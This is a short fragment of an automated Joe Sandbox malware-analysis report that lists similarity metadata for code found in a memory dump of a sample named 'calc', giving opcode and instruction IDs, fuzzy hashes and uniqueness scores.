                                                                                                                                                            • Instruction Fuzzy Hash: 424199B4D012589FCB10CFA9E984ADEFBF1FB59310F24902AE815B7250D374A945CF98
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000000.00000002.370029489.0000000006430000.00000040.00000001.sdmp, Offset: 06430000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_0_2_6430000_calc.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: b4c1a3683f2755729188238633e9b789315e010115d5be99b44386f6b62ea4f4
                                                                                                                                                            • Instruction ID: aae4b6cda7520f21250f623d8f771255a7b2f6399a3967ff91afaefe67751ff1
                                                                                                                                                            • Opcode Fuzzy Hash: b4c1a3683f2755729188238633e9b789315e010115d5be99b44386f6b62ea4f4
                                                                                                                                                            • Instruction Fuzzy Hash: 7C118975E006188BDB18CFEB99012DEFBF7AFC8211F14C43AD509AA618DB7415468E50
                                                                                                                                                            Uniqueness

                                                                                                                                                            Uniqueness Score: -1.00%